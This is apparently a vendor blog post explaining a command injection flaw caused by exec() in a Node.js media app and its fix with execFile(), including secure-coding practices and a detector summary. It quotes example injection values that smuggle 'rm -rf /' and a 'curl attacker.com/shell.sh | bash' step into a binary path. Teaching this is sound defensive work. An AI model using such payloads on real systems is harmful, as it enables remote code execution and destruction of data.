How Command Injection via exec() happens in Node.js and how to fix it

Introduction

The app.js file in this media processing application handles critical system operations including dependency checking and diagnostic routines. However, a dangerous pattern in the checkDependencies() and runStartupDiagnostics() functions created a severe security risk: the use of Node.js's exec() function to run system commands like FFmpeg and yt-dlp version checks.

At line 220, the original code used:

exec(`"${check.cmd}" ${check.args}`, (error, stdout, stderr) => {

This pattern passes the entire command string through a shell interpreter, which parses special characters like ;, |, &, and backticks. If any part of check.cmd or check.args could be influenced by external input—or if the binary paths were manipulated—an attacker could inject arbitrary commands that would execute with the application's privileges.

The Vulnerability Explained

What Makes exec() Dangerous?

Node.js provides two primary ways to execute external programs:

1. exec(command) - Spawns a shell and runs the command string within that shell
2. execFile(file, args) - Executes the file directly without shell interpretation

The critical difference is shell parsing. When you use exec(), the entire command string is passed to /bin/sh (or cmd.exe on Windows), which interprets metacharacters:

// VULNERABLE: Shell interprets the entire string
exec(`"${check.cmd}" ${check.args}`, callback)

If check.cmd contained a value like ffmpeg"; rm -rf /; echo ", the shell would parse this as:
1. Run ffmpeg" (fails)
2. Run rm -rf / (deletes everything)
3. Run echo "

The Specific Vulnerable Code

In the checkDependencies() function, the application verified that required binaries (FFmpeg, yt-dlp, etc.) were available:

// BEFORE: Vulnerable pattern at line 220
exec(`"${check.cmd}" ${check.args}`, (error, stdout, stderr) => {
  const out = stdout || ''
  const errText = stderr || ''
  if (!error && check.ok(out, errText)) {
    // ...
  }
})

Similarly, the runStartupDiagnostics() function at line 248 used the same dangerous pattern:

// BEFORE: Vulnerable execPromise helper
const execPromise = (cmd) =>
  new Promise((resolve) => {
    exec(cmd, (err, stdout, stderr) => {
      resolve({ err, stdout: stdout || '', stderr: stderr || '' })
    })
  })

Attack Scenario

Consider this exploitation path:

1. An attacker gains the ability to modify environment variables or configuration files that specify binary paths
2. They set a binary path to: ffmpeg"; curl attacker.com/shell.sh | bash; echo "
3. When the application starts and runs checkDependencies(), the malicious payload executes
4. The attacker now has a reverse shell with the application's privileges

Even without direct path manipulation, if the application ever expanded to accept user-specified binary locations (common in media processing apps), this vulnerability would become directly exploitable via HTTP requests.

The Fix

The fix replaces all instances of exec() with execFile(), which executes binaries directly without shell interpretation.

Change 1: Import Statement (Line 9)

// BEFORE
import { exec } from 'child_process'

// AFTER
import { execFile } from 'child_process'

Change 2: checkDependencies() Function (Line 220)

// BEFORE: Shell interprets the command string
exec(`"${check.cmd}" ${check.args}`, (error, stdout, stderr) => {

// AFTER: Direct execution, no shell parsing
execFile(check.cmd, check.args.split(' ').filter(Boolean), (error, stdout, stderr) => {

The fix:
- Removes the shell by using execFile() directly
- Passes arguments as an array (check.args.split(' ').filter(Boolean))
- Eliminates the need for quoting the command path

Change 3: runStartupDiagnostics() Helper (Lines 248-253)

// BEFORE: Single string command
const execPromise = (cmd) =>
  new Promise((resolve) => {
    exec(cmd, (err, stdout, stderr) => {

// AFTER: Separate command and arguments
const execPromise = (cmd, args = []) =>
  new Promise((resolve) => {
    execFile(cmd, args, (err, stdout, stderr) => {

Additional Security Enhancement: Trust Proxy (Line 82)

app.set('trust proxy', 1)

This change enables proper client IP detection when behind a reverse proxy, which is essential for rate limiting and security logging to work correctly.

Why This Fix Works

With execFile(), even if an attacker somehow injected ; rm -rf / into a binary path, the system would simply look for a file literally named ffmpeg; rm -rf /—which doesn't exist—rather than parsing and executing the injected commands.

// With execFile(), this is treated as a literal filename, not a command
execFile('ffmpeg"; rm -rf /', ['--version'], callback)
// Result: ENOENT error, no command injection possible

Prevention & Best Practices

1. Always Prefer execFile() or spawn()

// ❌ DANGEROUS: Shell interpretation
exec(`convert ${inputFile} ${outputFile}`)

// ✅ SAFE: No shell, direct execution
execFile('convert', [inputFile, outputFile])

// ✅ ALSO SAFE: spawn() for streaming output
spawn('convert', [inputFile, outputFile])

2. Never Construct Commands via String Concatenation

// ❌ DANGEROUS
const cmd = `ffmpeg -i "${userInput}" output.mp4`
exec(cmd)

// ✅ SAFE
execFile('ffmpeg', ['-i', userInput, 'output.mp4'])

3. Validate Binary Paths Against an Allowlist

const ALLOWED_BINARIES = new Set(['ffmpeg', 'ffprobe', 'yt-dlp'])

function safeExec(binary, args) {
  if (!ALLOWED_BINARIES.has(path.basename(binary))) {
    throw new Error('Unauthorized binary')
  }
  return execFile(binary, args)
}

4. Use Static Analysis Tools

Configure ESLint with security plugins to catch dangerous patterns:

{
  "plugins": ["security"],
  "rules": {
    "security/detect-child-process": "error"
  }
}

Key Takeaways

• Never use exec() for running known binaries — the checkDependencies() function was checking version strings of known tools, making execFile() the obvious safe choice
• Arguments should be arrays, not strings — the fix properly splits check.args into an array, preventing shell word-splitting vulnerabilities
• Shell quoting is a red flag — the original code quoted paths with "${check.cmd}" to handle spaces, but this is fragile; execFile() handles paths with spaces natively
• Startup/diagnostic code needs security review too — vulnerabilities in initialization code like runStartupDiagnostics() can be just as dangerous as request handlers
• Trust proxy settings matter for defense in depth — proper proxy configuration enables rate limiting and IP-based security controls

How Orbis AppSec Detected This

• Source: Binary path variables (check.cmd) and argument strings (check.args) passed to command execution functions
• Sink: exec() calls in app.js:220 and app.js:248 within checkDependencies() and runStartupDiagnostics() functions
• Missing control: No separation between command and arguments; shell interpretation enabled by default with exec()
• CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command)
• Fix: Replaced exec() with execFile() and refactored command strings into separate binary paths and argument arrays

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

Command injection remains one of the most severe vulnerability classes because it grants attackers direct access to the underlying operating system. In Node.js applications, the distinction between exec() and execFile() is critical—one invokes a shell that interprets metacharacters, while the other executes binaries directly.

This fix in app.js demonstrates a clean remediation pattern: replace shell-based execution with direct binary execution, pass arguments as arrays instead of concatenated strings, and eliminate the need for shell quoting entirely. By making these changes to the checkDependencies() and runStartupDiagnostics() functions, the application is now structurally protected against command injection regardless of how binary paths or arguments might be manipulated.

When writing Node.js applications that execute system commands, always reach for execFile() or spawn() first. Reserve exec() only for cases where you genuinely need shell features—and even then, consider whether those features are worth the security risk.

References

• CWE-78: OS Command Injection
• OWASP Command Injection Prevention Cheat Sheet
• Node.js child_process.execFile() Documentation
• Semgrep Rules for Command Injection
• fix: the application has no rate limiting middleware... in app.js